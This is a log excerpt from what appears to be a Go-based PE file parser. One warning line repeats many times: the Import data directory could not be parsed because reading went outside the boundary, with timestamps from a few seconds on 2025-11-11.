+time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:21+01:00 